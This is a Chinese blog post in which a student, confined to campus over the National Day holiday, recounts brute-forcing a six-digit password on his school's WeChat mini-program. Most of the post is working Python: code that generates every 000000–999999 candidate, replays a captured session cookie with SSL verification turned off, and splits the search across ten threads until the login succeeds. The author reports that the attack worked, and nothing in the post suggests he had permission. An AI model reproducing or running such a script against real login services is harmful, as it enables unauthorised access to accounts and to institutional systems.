国庆被困校园想出去想疯了_被迫学习抓包学校微信小程序第三,四,五天

116 阅读7分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第3天,点击查看活动详情 

前言

在第二天晚上的时候成功抓到了对服务器发送的请求数据,接下来的思路就是写一个python脚本去向服务器不间断的发送请求,将密码试出来.

脚本思路

首先这个脚本需要生成6位数的所有可能的密码,将这些密码全部通过post请求发送到服务器去试一遍,直到服务返回信息告诉我们密码正确再停止循环.
所以我们在脚本里写三个函数,一个api_login_post发送请求,一个creatpassword1去生成密码,一个job去调用这两个函数.

生成密码

初始思路是写六个for循环镶套去实现生成密码后直接转成str类型然后传给api_login_post函数去发送请求.

for i1 in range(0, 10):
    for i2 in range(0, 10):
        for i3 in range(0, 10):
            for i4 in range(0, 10):
                for i5 in range(0, 10):
                    for i6 in range(0, 10):
                        str1=(str(i1) + str(i2) + str(i3) + str(i4) + str(i5) + str(i6) + "\n")

但是在正式运行程序时发现服务器除了对id进行验证以外,还会对session进行验证

image.png 以前也写过爬虫去爬笔趣阁玩,但都没有深入了解过爬虫,所以也不知道session到底是什么,搜集资料又是过了好久,对session有了个粗略的了解,知道这个东西是为了保持回话的连续性储存在服务器上的信息.因为我太菜了,没有什么好的办法去获取session所以只能从抓到的包里边手动将信息复制到代码里,然后去跑,这样就导致,每过一段时间session刷新发送的请求都会得到以下提示:


{'code_': 999, 'result_': False, 'message_': '未知原因,请检查开放平台权限和资源路径'}

这时候更新程序后再跑还会重新循环,所以这种生成密码的方式行不通,于是我又想到如果将生成的密码存到txt文件里,每次发送请求时去取数据,然后session更新时去更新txt,这样就可以解决之前的问题.

创建储存密码的文本

def creatpassword1():
    with open("password1.txt", "a+") as i:
        for i1 in range(0, 10):
            for i2 in range(0, 10):
                for i3 in range(0, 10):
                    for i4 in range(0, 10):
                        for i5 in range(0, 10):
                            for i6 in range(0, 10):
                                i.write(str(i1) + str(i2) + str(i3) + str(i4) + str(i5) + str(i6) + "\n")
                                

读取密码

刚开始写这个函数的时候不知为什么死活读不出来数据,后来发现是指针的原因,可能是刚开始生成密码时将指针指向了txt的末尾,所以接下来读的时候就找不到下边的数据,因此只需将指针偏转到文档头部即可.

def readpassword1():#读密码
    m=open("password1.txt", mode="a+",encoding='utf-8')
    m.seek(0, os.SEEK_SET)# 将指针偏移到文档头部.
    list1=m.read().split('\n')
    m.close()
    pas=list1.pop(0)#首行元素
    str1 = ''
    for i in list1:
        str1 += str(i) + "\n"
    m = open("password1.txt", mode="w+", encoding='utf-8')
    m.write(str1)
    m.close()
    return pas

注:

os.SEEK_SET 定位到文件开头位置 os.SEEK_CUR 定位到文件指针当前位置 os.SEEK_END 定位到文件结束位置

发送请求

def api_login_post(password):
    url="...................."
    # headers定义
    Cookies="SESSION=...................."
    headers = {"Content-Type":"....................","Cookie":Cookies}
  
    params={"password":password, "deviceid":"....................","gotowhere":"vcard_activate"}
    # 调用post并返回响应对象
    return requests.post(url,params=params,verify=False,headers=headers)

其中可能会出现 'SSL routines', 'ssl3_get_server_certificate', 'certificate verify failed'报错信息,大致是因为:请求异常,连接超过最大连接次数,最后是因为证书认证失败。 只需要给requests.post()传入 verify=False 避免ssl认证即可。

job函数

第一版的job函数是将前几个函数进行调度的函数,该函数会循环调度readpassword1()函数和api_login_post()函数,来达到循环像接口发送请求的目的.但通过计算发现这样跑起来太慢了,重复的对文本的读写和对字符的操作大大的提升了时间复杂度.所有重整思路后对读取密码这个模块进行了优化.优化思路为下:在循环外部将密码取出存在列表里,然后每次用时去除一个,当session信息更新,报错的时候更新密码表,并停止运行.

m = open("passwordjob_"+str(txt_num)+".txt", mode="a+", encoding='utf-8')
m.seek(0, os.SEEK_SET)  # 将指针偏移到文档头部.
list1 = m.read().split('\n')
m.close()
flag=True
while flag:
    password = list1.pop(0)
if result["message_"] != "密码错误":
    print("出现异常", "第" + str(num) + "尝试:" + str(password))
    pass_txt.close()
   #更新密码文档
    str1 = ''
    for i in list1:
        str1 += str(i) + "\n"
    m = open("passwordjob_"+str(txt_num)+".txt", encoding='utf-8',mode="w+")
    m.write(str1)
    m.close()
    flag = False

然后当我开始跑程序的时候发现,这样还是太慢,取需要跑将近100个小时才能跑出来,于是整理思路后对程序进行了又一次的优化.
思路是既然单个线程这么慢,我就采取多线程操作的方式去跑,将密码文件拆分为十份,分别为固定0,1,2,3...开头的密码,再创建十个线程,去跑刚才拆分完成的密码,这样就能提升效率. 说干就干,第一步将密码文件拆分为十份,也就是重新生成十份密码表.

def creatpassword1():

        for i1 in range(0, 10):
            with open("passwordjob_"+str(i1)+".txt", "a+") as i:
                for i2 in range(0, 10):
                    for i3 in range(0, 10):
                        for i4 in range(0, 10):
                            for i5 in range(0, 10):
                                for i6 in range(0, 10):
                                    i.write(str(i1) + str(i2) + str(i3) + str(i4) + str(i5) + str(i6) + "\n")

接着就是对之前的job函数进行一定的改造,使该函数能通过不同的参数,来读取不同的密码表.

def job_session(txt_num):#以session对象的方式登录
    num=0;
    flag=True
    # 获取密码列表list
    m = open("passwordjob_"+str(txt_num)+".txt", mode="a+", encoding='utf-8')
    m.seek(0, os.SEEK_SET)  # 将指针偏移到文档头部.
    list1 = m.read().split('\n')
    m.close()
    pass_txt=open("ans_"+str(txt_num)+".txt", "a+")
    #创建session对象
    s = requests.Session()
    s.headers.update({"Content-Type": "........",
                      "Cookie": "SESSION=................"})

    while flag:
        password = list1.pop(0)
        try:
            # result = api_login_post(password).json()
            params = {"password": password, "deviceid": "........",
                      "gotowhere": "vcard_activate"}
            result = s.post('........', headers={'x-test2': 'true'},params=params,verify=False,).json()
            # print(result)
            num+=1
            if num%5000==0:
                keeptouch()
            pass_txt.write("第" + str(num) + "尝试:" + str(password))
            pass_txt.write(str(result) + "\n")

            for i in result:
                if result[i] == True:
                    print(result[i], "密码为:" + password)
                    pass_txt.close()
                    flag = False
            if result["message_"] != "密码错误":
                print("出现异常", "第" + str(num) + "尝试:" + str(password))
                pass_txt.close()
               #更新密码文档
                str1 = ''
                for i in list1:
                    str1 += str(i) + "\n"
                m = open("passwordjob_"+str(txt_num)+".txt", encoding='utf-8',mode="w+")
                m.write(str1)
                m.close()

                flag = False
        except Exception as err:
            str1 = ''
            for i in list1:
                str1 += str(i) + "\n"
            m = open("passwordjob_" + str(txt_num) + ".txt", encoding='utf-8',mode="w+")
            m.write(str1)
            m.close()
            print("出现异常:" + err)

接着就是创建多个线程并运行了.

def job():

    thread0 = threading.Thread(name='t1', target=job_session, args=(0,))
    thread1 = threading.Thread(name='t2', target=job_session, args=(1,))
    thread2 = threading.Thread(name='t3', target=job_session, args=(2,))
    thread3 = threading.Thread(name='t4', target=job_session, args=(3,))
    thread4 = threading.Thread(name='t5', target=job_session, args=(4,))
    thread5 = threading.Thread(name='t6', target=job_session, args=(5,))
    thread6 = threading.Thread(name='t7', target=job_session, args=(6,))
    thread7 = threading.Thread(name='t8', target=job_session, args=(7,))
    thread8 = threading.Thread(name='t9', target=job_session, args=(8,))
    thread9 = threading.Thread(name='t10', target=job_session, args=(9,))
    # 启动线程
    thread0.start()
    thread1.start()
    thread2.start()
    thread3.start()
    thread4.start()
    thread5.start()
    thread6.start()
    thread7.start()
    thread8.start()
    thread9.start()

job()

注:target为线程工作的函数,args为给函数传递的参数,当要传递的参数为整形时因该参数是不可迭代对象,需要将该参数改为可迭代对象类型,例如文中所示的元组类型.

成功之后:

image.png 终于,在国庆节的第八天,也就是放完假后的第一天清晨,成功的将密码跑了出来,当时是真高兴啊,这几天瞎搞一通竟然真的弄出来,放假前学校通知的常态化管理,以后能经常出校了,再也不用偷偷摸摸的溜出去了.
然而!! 就在刚刚四点的时候,导员钉钉在线会议通知我们常态化管理取消,继续封校,禁止外出!!!!! 又想起了最近七天朋友们的国庆朋友圈各种吃喝玩乐,而我自己蜗居寝室敲代码,就这样吧,不想玩了,随便了,毁灭吧.

image.png